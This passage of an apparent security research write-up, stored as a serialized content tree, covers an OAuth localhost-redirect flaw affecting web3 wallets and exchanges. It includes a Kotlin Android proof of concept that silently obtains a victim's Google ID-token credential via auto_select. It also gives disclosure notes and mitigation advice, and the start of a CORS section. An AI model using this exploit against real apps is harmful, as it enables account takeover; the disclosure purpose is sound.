location.hash;\"\n",{"type":25,"tag":201,"props":101772,"children":101773},{"class":203,"line":809},[101774],{"type":25,"tag":201,"props":101775,"children":101776},{"style":220},[101777],{"type":31,"value":72130},{"type":25,"tag":201,"props":101779,"children":101780},{"class":203,"line":857},[101781],{"type":25,"tag":201,"props":101782,"children":101783},{"style":220},[101784],{"type":31,"value":72060},{"type":25,"tag":201,"props":101786,"children":101787},{"class":203,"line":865},[101788],{"type":25,"tag":201,"props":101789,"children":101790},{"style":220},[101791],{"type":31,"value":72145},{"type":25,"tag":201,"props":101793,"children":101794},{"class":203,"line":931},[101795],{"type":25,"tag":201,"props":101796,"children":101797},{"style":220},[101798],{"type":31,"value":72153},{"type":25,"tag":201,"props":101800,"children":101801},{"class":203,"line":939},[101802],{"type":25,"tag":201,"props":101803,"children":101804},{"style":220},[101805],{"type":31,"value":59964},{"type":25,"tag":201,"props":101807,"children":101808},{"class":203,"line":960},[101809,101813,101817,101821,101825,101829],{"type":25,"tag":201,"props":101810,"children":101811},{"style":220},[101812],{"type":31,"value":72168},{"type":25,"tag":201,"props":101814,"children":101815},{"style":214},[101816],{"type":31,"value":72173},{"type":25,"tag":201,"props":101818,"children":101819},{"style":220},[101820],{"type":31,"value":72178},{"type":25,"tag":201,"props":101822,"children":101823},{"style":261},[101824],{"type":31,"value":1383},{"type":25,"tag":201,"props":101826,"children":101827},{"style":208},[101828],{"type":31,"value":13971},{"type":25,"tag":201,"props":101830,"children":101831},{"style":220},[101832],{"type":31,"value":4666},{"type":25,"tag":201,"props":101834,"children":101835},{"class":203,"line":977},[101836],{"type":25,"tag":201,"props":101837,"children":101838},{"style":220},[101839],{"type":31,"value":4861},{"type":25,"tag":34,"props":101841,"children":101842},{},[101843],{"type":31,"value":101844},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":25,"tag":34,"props":101846,"children":101847},{},[101848,101850,101856],{"type":31,"value":101849},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":25,"tag":115,"props":101851,"children":101853},{"className":101852},[],[101854],{"type":31,"value":101855},"auto_select",{"type":31,"value":101857}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":25,"tag":191,"props":101859,"children":101861},{"className":101217,"code":101860,"language":101219,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[101862],{"type":25,"tag":115,"props":101863,"children":101864},{"__ignoreMap":7},[101865,101892,101911,101918,101937,101948,101959,101990,102013,102060,102067,102074,102081,102121,102132,102139,102146,102165,102188,102199,102218,102233,102244,102264,102275,102292,102318,102342,102349,102360,102372,102385,102393,102401,102408,102415,102423,102431,102439,102447,102455,102463,102471,102478,102485,102493,102501,102509,102516,102523,102531,102538,102559,102567,102574,102581,102592,102616,102628,102645,102652,102659,102667,102675,102683,102711],{"type":25,"tag":201,"props":101866,"children":101867},{"class":203,"line":204},[101868,101872,101876,101880,101884,101888],{"type":25,"tag":201,"props":101869,"children":101870},{"style":208},[101871],{"type":31,"value":71526},{"type":25,"tag":201,"props":101873,"children":101874},{"style":208},[101875],{"type":31,"value":7715},{"type":25,"tag":201,"props":101877,"children":101878},{"style":214},[101879],{"type":31,"value":71535},{"type":25,"tag":201,"props":101881,"children":101882},{"style":220},[101883],{"type":31,"value":71540},{"type":25,"tag":201,"props":101885,"children":101886},{"style":4925},[101887],{"type":31,"value":71545},{"type":25,"tag":201,"props":101889,"children":101890},{"style":220},[101891],{"type":31,"value":71550},{"type":25,"tag":201,"props":101893,"children":101894},{"class":203,"line":226},[101895,101899,101903,101907],{"type":25,"tag":201,"props":101896,"children":101897},{"style":208},[101898],{"type":31,"value":71558},{"type":25,"tag":201,"props":101900,"children":101901},{"style":220},[101902],{"type":31,"value":80},{"type":25,"tag":201,"props":101904,"children":101905},{"style":214},[101906],{"type":31,"value":71567},{"type":25,"tag":201,"props":101908,"children":101909},{"style":220},[101910],{"type":31,"value":71572},{"type":25,"tag":201,"props":101912,"children":101913},{"class":203,"line":278},[101914],{"type":25,"tag":201,"props":101915,"children":101916},{"emptyLinePlaceholder":17},[101917],{"type":31,"value":496},{"type":25,"tag":201,"props":101919,"children":101920},{"class":203,"line":311},[101921,101925,101929,101933],{"type":25,"tag":201,"props":101922,"children":101923},{"style":214},[101924],{"type":31,"value":71595},{"type":25,"tag":201,"props":101926,"children":101927},{"style":220},[101928],{"type":31,"value":71600},{"type":25,"tag":201,"props":101930,"children":101931},{"style":214},[101932],{"type":31,"value":71605},{"type":25,"tag":201,"props":101934,"children":101935},{"style":220},[101936],{"type":31,"value":327},{"type":25,"tag":201,"props":101938,"children":101939},{"class":203,"line":330},[101940,101944],{"type":25,"tag":201,"props":101941,"children":101942},{"style":230},[101943],{"type":31,"value":71617},{"type":25,"tag":201,"props":101945,"children":101946},{"style":220},[101947],{"type":31,"value":327},{"type":25,"tag":201,"props":101949,"children":101950},{"class":203,"line":397},[101951,101955],{"type":25,"tag":201,"props":101952,"children":101953},{"style":214},[101954],{"type":31,"value":71629},{"type":25,"tag":201,"props":101956,"children":101957},{"style":220},[101958],{"type":31,"value":1882},{"type":25,"tag":201,"props":101960,"children":101961},{"class":203,"line":437},[101962,101966,101970,101974,101978,101982,101986],{"type":25,"tag":201,"props":101963,"children":101964},{"style":220},[101965],{"type":31,"value":71641},{"type":25,"tag":201,"props":101967,"children":101968},{"style":214},[101969],{"type":31,"value":71646},{"type":25,"tag":201,"props":101971,"children":101972},{"style":220},[101973],{"type":31,"value":298},{"type":25,"tag":201,"props":101975,"children":101976},{"style":267},[101977],{"type":31,"value":71655},{"type":25,"tag":201,"props":101979,"children":101980},{"style":220},[101981],{"type":31,"value":919},{"type":25,"tag":201,"props":101983,"children":101984},{"style":267},[101985],{"type":31,"value":71664},{"type":25,"tag":201,"props":101987,"children":101988},{"style":220},[101989],{"type":31,"value":4666},{"type":25,"tag":201,"props":101991,"children":101992},{"class":203,"line":464},[101993,101997,102001,102005,102009],{"type":25,"tag":201,"props":101994,"children":101995},{"style":220},[101996],{"type":31,"value":71676},{"type":25,"tag":201,"props":101998,"children":101999},{"style":208},[102000],{"type":31,"value":49488},{"type":25,"tag":201,"props":102002,"children":102003},{"style":220},[102004],{"type":31,"value":71685},{"type":25,"tag":201,"props":102006,"children":102007},{"style":4925},[102008],{"type":31,"value":71690},{"type":25,"tag":201,"props":102010,"children":102011},{"style":220},[102012],{"type":31,"value":275},{"type":25,"tag":201,"props":102014,"children":102015},{"class":203,"line":490},[102016,102020,102024,102028,102032,102036,102040,102044,102048,102052,102056],{"type":25,"tag":201,"props":102017,"children":102018},{"style":220},[102019],{"type":31,"value":71641},{"type":25,"tag":201,"props":102021,"children":102022},{"style":214},[102023],{"type":31,"value":52532},{"type":25,"tag":201,"props":102025,"children":102026},{"style":220},[102027],{"type":31,"value":298},{"type":25,"tag":201,"props":102029,"children":102030},{"style":267},[102031],{"type":31,"value":71655},{"type":25,"tag":201,"props":102033,"children":102034},{"style":220},[102035],{"type":31,"value":919},{"type":25,"tag":201,"props":102037,"children":102038},{"style":267},[102039],{"type":31,"value":71722},{"type":25,"tag":201,"props":102041,"children":102042},{"style":208},[102043],{"type":31,"value":3045},{"type":25,"tag":201,"props":102045,"children":102046},{"style":261},[102047],{"type":31,"value":71731},{"type":25,"tag":201,"props":102049,"children":102050},{"style":208},[102051],{"type":31,"value":3078},{"type":25,"tag":201,"props":102053,"children":102054},{"style":267},[102055],{"type":31,"value":1557},{"type":25,"tag":201,"props":102057,"children":102058},{"style":220},[102059],{"type":31,"value":71744},{"type":25,"tag":201,"props":102061,"children":102062},{"class":203,"line":499},[102063],{"type":25,"tag":201,"props":102064,"children":102065},{"style":220},[102066],{"type":31,"value":59964},{"type":25,"tag":201,"props":102068,"children":102069},{"class":203,"line":522},[102070],{"type":25,"tag":201,"props":102071,"children":102072},{"style":220},[102073],{"type":31,"value":4853},{"type":25,"tag":201,"props":102075,"children":102076},{"class":203,"line":531},[102077],{"type":25,"tag":201,"props":102078,"children":102079},{"emptyLinePlaceholder":17},[102080],{"type":31,"value":496},{"type":25,"tag":201,"props":102082,"children":102083},{"class":203,"line":550},[102084,102088,102092,102096,102100,102104,102108,102112,102117],{"type":25,"tag":201,"props":102085,"children":102086},{"style":208},[102087],{"type":31,"value":71781},{"type":25,"tag":201,"props":102089,"children":102090},{"style":220},[102091],{"type":31,"value":71807},{"type":25,"tag":201,"props":102093,"children":102094},{"style":261},[102095],{"type":31,"value":1383},{"type":25,"tag":201,"props":102097,"children":102098},{"style":214},[102099],{"type":31,"value":71816},{"type":25,"tag":201,"props":102101,"children":102102},{"style":220},[102103],{"type":31,"value":71821},{"type":25,"tag":201,"props":102105,"children":102106},{"style":214},[102107],{"type":31,"value":40282},{"type":25,"tag":201,"props":102109,"children":102110},{"style":220},[102111],{"type":31,"value":298},{"type":25,"tag":201,"props":102113,"children":102114},{"style":267},[102115],{"type":31,"value":102116},"\"http://localhost:3000\"",{"type":25,"tag":201,"props":102118,"children":102119},{"style":220},[102120],{"type":31,"value":1086},{"type":25,"tag":201,"props":102122,"children":102123},{"class":203,"line":563},[102124,102128],{"type":25,"tag":201,"props":102125,"children":102126},{"style":214},[102127],{"type":31,"value":71838},{"type":25,"tag":201,"props":102129,"children":102130},{"style":220},[102131],{"type":31,"value":71843},{"type":25,"tag":201,"props":102133,"children":102134},{"class":203,"line":572},[102135],{"type":25,"tag":201,"props":102136,"children":102137},{"style":220},[102138],{"type":31,"value":4861},{"type":25,"tag":201,"props":102140,"children":102141},{"class":203,"line":590},[102142],{"type":25,"tag":201,"props":102143,"children":102144},{"emptyLinePlaceholder":17},[102145],{"type":31,"value":496},{"type":25,"tag":201,"props":102147,"children":102148},{"class":203,"line":608},[102149,102153,102157,102161],{"type":25,"tag":201,"props":102150,"children":102151},{"style":208},[102152],{"type":31,"value":71865},{"type":25,"tag":201,"props":102154,"children":102155},{"style":208},[102156],{"type":31,"value":7715},{"type":25,"tag":201,"props":102158,"children":102159},{"style":214},[102160],{"type":31,"value":71874},{"type":25,"tag":201,"props":102162,"children":102163},{"style":220},[102164],{"type":31,"value":223},{"type":25,"tag":201,"props":102166,"children":102167},{"class":203,"line":617},[102168,102172,102176,102180,102184],{"type":25,"tag":201,"props":102169,"children":102170},{"style":214},[102171],{"type":31,"value":71886},{"type":25,"tag":201,"props":102173,"children":102174},{"style":220},[102175],{"type":31,"value":71891},{"type":25,"tag":201,"props":102177,"children":102178},{"style":261},[102179],{"type":31,"value":1383},{"type":25,"tag":201,"props":102181,"children":102182},{"style":426},[102183],{"type":31,"value":71900},{"type":25,"tag":201,"props":102185,"children":102186},{"style":220},[102187],{"type":31,"value":275},{"type":25,"tag":201,"props":102189,"children":102190},{"class":203,"line":625},[102191,102195],{"type":25,"tag":201,"props":102192,"children":102193},{"style":214},[102194],{"type":31,"value":71912},{"type":25,"tag":201,"props":102196,"children":102197},{"style":220},[102198],{"type":31,"value":327},{"type":25,"tag":201,"props":102200,"children":102201},{"class":203,"line":642},[102202,102206,102210,102214],{"type":25,"tag":201,"props":102203,"children":102204},{"style":208},[102205],{"type":31,"value":71924},{"type":25,"tag":201,"props":102207,"children":102208},{"style":220},[102209],{"type":31,"value":298},{"type":25,"tag":201,"props":102211,"children":102212},{"style":267},[102213],{"type":31,"value":71933},{"type":25,"tag":201,"props":102215,"children":102216},{"style":220},[102217],{"type":31,"value":275},{"type":25,"tag":201,"props":102219,"children":102220},{"class":203,"line":659},[102221,102225,102229],{"type":25,"tag":201,"props":102222,"children":102223},{"style":220},[102224],{"type":31,"value":71945},{"type":25,"tag":201,"props":102226,"children":102227},{"style":214},[102228],{"type":31,"value":71950},{"type":25,"tag":201,"props":102230,"children":102231},{"style":220},[102232],{"type":31,"value":327},{"type":25,"tag":201,"props":102234,"children":102235},{"class":203,"line":667},[102236,102240],{"type":25,"tag":201,"props":102237,"children":102238},{"style":214},[102239],{"type":31,"value":71962},{"type":25,"tag":201,"props":102241,"children":102242},{"style":220},[102243],{"type":31,"value":327},{"type":25,"tag":201,"props":102245,"children":102246},{"class":203,"line":676},[102247,102251,102255,102260],{"type":25,"tag":201,"props":102248,"children":102249},{"style":214},[102250],{"type":31,"value":72039},{"type":25,"tag":201,"props":102252,"children":102253},{"style":220},[102254],{"type":31,"value":298},{"type":25,"tag":201,"props":102256,"children":102257},{"style":267},[102258],{"type":31,"value":102259},"\"Test\"",{"type":25,"tag":201,"props":102261,"children":102262},{"style":220},[102263],{"type":31,"value":4666},{"type":25,"tag":201,"props":102265,"children":102266},{"class":203,"line":694},[102267,102271],{"type":25,"tag":201,"props":102268,"children":102269},{"style":214},[102270],{"type":31,"value":72105},{"type":25,"tag":201,"props":102272,"children":102273},{"style":220},[102274],{"type":31,"value":327},{"type":25,"tag":201,"props":102276,"children":102277},{"class":203,"line":707},[102278,102283,102287],{"type":25,"tag":201,"props":102279,"children":102280},{"style":220},[102281],{"type":31,"value":102282},"                                src ",{"type":25,"tag":201,"props":102284,"children":102285},{"style":261},[102286],{"type":31,"value":1383},{"type":25,"tag":201,"props":102288,"children":102289},{"style":267},[102290],{"type":31,"value":102291}," \"https://accounts.google.com/gsi/client\"\n",{"type":25,"tag":201,"props":102293,"children":102294},{"class":203,"line":715},[102295,102300,102305,102309,102313],{"type":25,"tag":201,"props":102296,"children":102297},{"style":220},[102298],{"type":31,"value":102299},"                                attributes[",{"type":25,"tag":201,"props":102301,"children":102302},{"style":267},[102303],{"type":31,"value":102304},"\"async\"",{"type":25,"tag":201,"props":102306,"children":102307},{"style":220},[102308],{"type":31,"value":10169},{"type":25,"tag":201,"props":102310,"children":102311},{"style":261},[102312],{"type":31,"value":1383},{"type":25,"tag":201,"props":102314,"children":102315},{"style":267},[102316],{"type":31,"value":102317}," \"\"\n",{"type":25,"tag":201,"props":102319,"children":102320},{"class":203,"line":732},[102321,102325,102330,102334,102338],{"type":25,"tag":201,"props":102322,"children":102323},{"style":220},[102324],{"type":31,"value":102299},{"type":25,"tag":201,"props":102326,"children":102327},{"style":267},[102328],{"type":31,"value":102329},"\"defer\"",{"type":25,"tag":201,"props":102331,"children":102332},{"style":220},[102333],{"type":31,"value":10169},{"type":25,"tag":201,"props":102335,"children":102336},{"style":261},[102337],{"type":31,"value":1383},{"type":25,"tag":201,"props":102339,"children":102340},{"style":267},[102341],{"type":31,"value":102317},{"type":25,"tag":201,"props":102343,"children":102344},{"class":203,"line":749},[102345],{"type":25,"tag":201,"props":102346,"children":102347},{"style":220},[102348],{"type":31,"value":72130},{"type":25,"tag":201,"props":102350,"children":102351},{"class":203,"line":757},[102352,102356],{"type":25,"tag":201,"props":102353,"children":102354},{"style":214},[102355],{"type":31,"value":72105},{"type":25,"tag":201,"props":102357,"children":102358},{"style":220},[102359],{"type":31,"value":327},{"type":25,"tag":201,"props":102361,"children":102362},{"class":203,"line":765},[102363,102368],{"type":25,"tag":201,"props":102364,"children":102365},{"style":214},[102366],{"type":31,"value":102367},"                                unsafe",{"type":25,"tag":201,"props":102369,"children":102370},{"style":220},[102371],{"type":31,"value":327},{"type":25,"tag":201,"props":102373,"children":102374},{"class":203,"line":783},[102375,102380],{"type":25,"tag":201,"props":102376,"children":102377},{"style":261},[102378],{"type":31,"value":102379},"                                    +",{"type":25,"tag":201,"props":102381,"children":102382},{"style":267},[102383],{"type":31,"value":102384},"\"\"\"\n",{"type":25,"tag":201,"props":102386,"children":102387},{"class":203,"line":792},[102388],{"type":25,"tag":201,"props":102389,"children":102390},{"style":267},[102391],{"type":31,"value":102392},"    function handleCredentialResponse(response) {\n",{"type":25,"tag":201,"props":102394,"children":102395},{"class":203,"line":801},[102396],{"type":25,"tag":201,"props":102397,"children":102398},{"style":267},[102399],{"type":31,"value":102400},"      alert(\"credential: \" + response.credential);\n",{"type":25,"tag":201,"props":102402,"children":102403},{"class":203,"line":809},[102404],{"type":25,"tag":201,"props":102405,"children":102406},{"style":267},[102407],{"type":31,"value":4861},{"type":25,"tag":201,"props":102409,"children":102410},{"class":203,"line":857},[102411],{"type":25,"tag":201,"props":102412,"children":102413},{"emptyLinePlaceholder":17},[102414],{"type":31,"value":496},{"type":25,"tag":201,"props":102416,"children":102417},{"class":203,"line":865},[102418],{"type":25,"tag":201,"props":102419,"children":102420},{"style":267},[102421],{"type":31,"value":102422},"    window.onload = async function () {\n",{"type":25,"tag":201,"props":102424,"children":102425},{"class":203,"line":931},[102426],{"type":25,"tag":201,"props":102427,"children":102428},{"style":267},[102429],{"type":31,"value":102430},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":25,"tag":201,"props":102432,"children":102433},{"class":203,"line":939},[102434],{"type":25,"tag":201,"props":102435,"children":102436},{"style":267},[102437],{"type":31,"value":102438},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":25,"tag":201,"props":102440,"children":102441},{"class":203,"line":960},[102442],{"type":25,"tag":201,"props":102443,"children":102444},{"style":267},[102445],{"type":31,"value":102446},"      google.accounts.id.initialize({\n",{"type":25,"tag":201,"props":102448,"children":102449},{"class":203,"line":977},[102450],{"type":25,"tag":201,"props":102451,"children":102452},{"style":267},[102453],{"type":31,"value":102454},"        client_id: client_id,\n",{"type":25,"tag":201,"props":102456,"children":102457},{"class":203,"line":994},[102458],{"type":25,"tag":201,"props":102459,"children":102460},{"style":267},[102461],{"type":31,"value":102462},"        callback: handleCredentialResponse,\n",{"type":25,"tag":201,"props":102464,"children":102465},{"class":203,"line":1016},[102466],{"type":25,"tag":201,"props":102467,"children":102468},{"style":267},[102469],{"type":31,"value":102470},"        auto_select: true\n",{"type":25,"tag":201,"props":102472,"children":102473},{"class":203,"line":1089},[102474],{"type":25,"tag":201,"props":102475,"children":102476},{"style":267},[102477],{"type":31,"value":8805},{"type":25,"tag":201,"props":102479,"children":102480},{"class":203,"line":1107},[102481],{"type":25,"tag":201,"props":102482,"children":102483},{"emptyLinePlaceholder":17},[102484],{"type":31,"value":496},{"type":25,"tag":201,"props":102486,"children":102487},{"class":203,"line":1116},[102488],{"type":25,"tag":201,"props":102489,"children":102490},{"style":267},[102491],{"type":31,"value":102492},"      google.accounts.id.renderButton(\n",{"type":25,"tag":201,"props":102494,"children":102495},{"class":203,"line":1124},[102496],{"type":25,"tag":201,"props":102497,"children":102498},{"style":267},[102499],{"type":31,"value":102500},"        document.getElementById(\"g_id_signin\"),\n",{"type":25,"tag":201,"props":102502,"children":102503},{"class":203,"line":1163},[102504],{"type":25,"tag":201,"props":102505,"children":102506},{"style":267},[102507],{"type":31,"value":102508},"        { theme: \"outline\", size: \"large\" }\n",{"type":25,"tag":201,"props":102510,"children":102511},{"class":203,"line":1172},[102512],{"type":25,"tag":201,"props":102513,"children":102514},{"style":267},[102515],{"type":31,"value":8275},{"type":25,"tag":201,"props":102517,"children":102518},{"class":203,"line":1181},[102519],{"type":25,"tag":201,"props":102520,"children":102521},{"emptyLinePlaceholder":17},[102522],{"type":31,"value":496},{"type":25,"tag":201,"props":102524,"children":102525},{"class":203,"line":1190},[102526],{"type":25,"tag":201,"props":102527,"children":102528},{"style":267},[102529],{"type":31,"value":102530},"      google.accounts.id.prompt();\n",{"type":25,"tag":201,"props":102532,"children":102533},{"class":203,"line":1198},[102534],{"type":25,"tag":201,"props":102535,"children":102536},{"style":267},[102537],{"type":31,"value":40067},{"type":25,"tag":201,"props":102539,"children":102540},{"class":203,"line":1220},[102541,102546,102550,102555],{"type":25,"tag":201,"props":102542,"children":102543},{"style":267},[102544],{"type":31,"value":102545},"                                    \"\"\"",{"type":25,"tag":201,"props":102547,"children":102548},{"style":220},[102549],{"type":31,"value":80},{"type":25,"tag":201,"props":102551,"children":102552},{"style":214},[102553],{"type":31,"value":102554},"trimIndent",{"type":25,"tag":201,"props":102556,"children":102557},{"style":220},[102558],{"type":31,"value":1882},{"type":25,"tag":201,"props":102560,"children":102561},{"class":203,"line":82035},[102562],{"type":25,"tag":201,"props":102563,"children":102564},{"style":220},[102565],{"type":31,"value":102566},"                                }\n",{"type":25,"tag":201,"props":102568,"children":102569},{"class":203,"line":82048},[102570],{"type":25,"tag":201,"props":102571,"children":102572},{"style":220},[102573],{"type":31,"value":72130},{"type":25,"tag":201,"props":102575,"children":102576},{"class":203,"line":82056},[102577],{"type":25,"tag":201,"props":102578,"children":102579},{"style":220},[102580],{"type":31,"value":72060},{"type":25,"tag":201,"props":102582,"children":102583},{"class":203,"line":82064},[102584,102588],{"type":25,"tag":201,"props":102585,"children":102586},{"style":214},[102587],{"type":31,"value":72068},{"type":25,"tag":201,"props":102589,"children":102590},{"style":220},[102591],{"type":31,"value":327},{"type":25,"tag":201,"props":102593,"children":102594},{"class":203,"line":82072},[102595,102599,102603,102607,102612],{"type":25,"tag":201,"props":102596,"children":102597},{"style":214},[102598],{"type":31,"value":72080},{"type":25,"tag":201,"props":102600,"children":102601},{"style":220},[102602],{"type":31,"value":11090},{"type":25,"tag":201,"props":102604,"children":102605},{"style":261},[102606],{"type":31,"value":5886},{"type":25,"tag":201,"props":102608,"children":102609},{"style":267},[102610],{"type":31,"value":102611},"\"Login here:\"",{"type":25,"tag":201,"props":102613,"children":102614},{"style":220},[102615],{"type":31,"value":11100},{"type":25,"tag":201,"props":102617,"children":102618},{"class":203,"line":82112},[102619,102624],{"type":25,"tag":201,"props":102620,"children":102621},{"style":214},[102622],{"type":31,"value":102623},"                            div",{"type":25,"tag":201,"props":102625,"children":102626},{"style":220},[102627],{"type":31,"value":327},{"type":25,"tag":201,"props":102629,"children":102630},{"class":203,"line":82120},[102631,102636,102640],{"type":25,"tag":201,"props":102632,"children":102633},{"style":220},[102634],{"type":31,"value":102635},"                                id ",{"type":25,"tag":201,"props":102637,"children":102638},{"style":261},[102639],{"type":31,"value":1383},{"type":25,"tag":201,"props":102641,"children":102642},{"style":267},[102643],{"type":31,"value":102644}," \"g_id_signin\"\n",{"type":25,"tag":201,"props":102646,"children":102647},{"class":203,"line":89307},[102648],{"type":25,"tag":201,"props":102649,"children":102650},{"style":220},[102651],{"type":31,"value":72130},{"type":25,"tag":201,"props":102653,"children":102654},{"class":203,"line":89315},[102655],{"type":25,"tag":201,"props":102656,"children":102657},{"style":220},[102658],{"type":31,"value":72060},{"type":25,"tag":201,"props":102660,"children":102662},{"class":203,"line":102661},62,[102663],{"type":25,"tag":201,"props":102664,"children":102665},{"style":220},[102666],{"type":31,"value":72145},{"type":25,"tag":201,"props":102668,"children":102670},{"class":203,"line":102669},63,[102671],{"type":25,"tag":201,"props":102672,"children":102673},{"style":220},[102674],{"type":31,"value":72153},{"type":25,"tag":201,"props":102676,"children":102678},{"class":203,"line":102677},64,[102679],{"type":25,"tag":201,"props":102680,"children":102681},{"style":220},[102682],{"type":31,"value":59964},{"type":25,"tag":201,"props":102684,"children":102686},{"class":203,"line":102685},65,[102687,102691,102695,102699,102703,102707],{"type":25,"tag":201,"props":102688,"children":102689},{"style":220},[102690],{"type":31,"value":72168},{"type":25,"tag":201,"props":102692,"children":102693},{"style":214},[102694],{"type":31,"value":72173},{"type":25,"tag":201,"props":102696,"children":102697},{"style":220},[102698],{"type":31,"value":72178},{"type":25,"tag":201,"props":102700,"children":102701},{"style":261},[102702],{"type":31,"value":1383},{"type":25,"tag":201,"props":102704,"children":102705},{"style":208},[102706],{"type":31,"value":13971},{"type":25,"tag":201,"props":102708,"children":102709},{"style":220},[102710],{"type":31,"value":4666},{"type":25,"tag":201,"props":102712,"children":102714},{"class":203,"line":102713},66,[102715],{"type":25,"tag":201,"props":102716,"children":102717},{"style":220},[102718],{"type":31,"value":4861},{"type":25,"tag":34,"props":102720,"children":102721},{},[102722],{"type":31,"value":102723},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":25,"tag":34,"props":102725,"children":102726},{},[102727],{"type":31,"value":102728},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":25,"tag":40,"props":102730,"children":102732},{"id":102731},"how-to-mitigate",[102733],{"type":31,"value":102734},"How to Mitigate",{"type":25,"tag":34,"props":102736,"children":102737},{},[102738],{"type":31,"value":102739},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":25,"tag":26,"props":102741,"children":102743},{"id":102742},"exploiting-cors",[102744],{"type":31,"value":102745},"Exploiting CORS",{"type":25,"tag":34,"props":102747,"children":102748},{},[102749],{"type":31,"value":102750},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":25,"tag":34,"props":102752,"children":102753},{},[102754,102756,102762],{"type":31,"value":102755},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":25,"tag":115,"props":102757,"children":102759},{"className":102758},[],[102760],{"type":31,"value":102761},"http://",{"type":31,"value":102763}," schema for any subdomain:",{"type":25,"tag":191,"props":102765,"children":102769},{"className":102766,"code":102767,"language":102768,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[102770],{"type":25,"tag":115,"props":102771,"children":102772},{"__ignoreMap":7},[102773,102781,102789,102797],{"type":25,"tag":201,"props":102774,"children":102775},{"class":203,"line":204},[102776],{"type":25,"tag":201,"props":102777,"children":102778},{},[102779],{"type":31,"value":102780},"HTTP 200 OK\n",{"type":25,"tag":201,"props":102782,"children":102783},{"class":203,"line":226},[102784],{"type":25,"tag":201,"props":102785,"children":102786},{},[102787],{"type":31,"value":102788},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":25,"tag":201,"props":102790,"children":102791},{"class":203,"line":278},[102792],{"type":25,"tag":201,"props":102793,"children":102794},{},[102795],{"type":31,"value":102796},"Access-Control-Allow-Credentials: 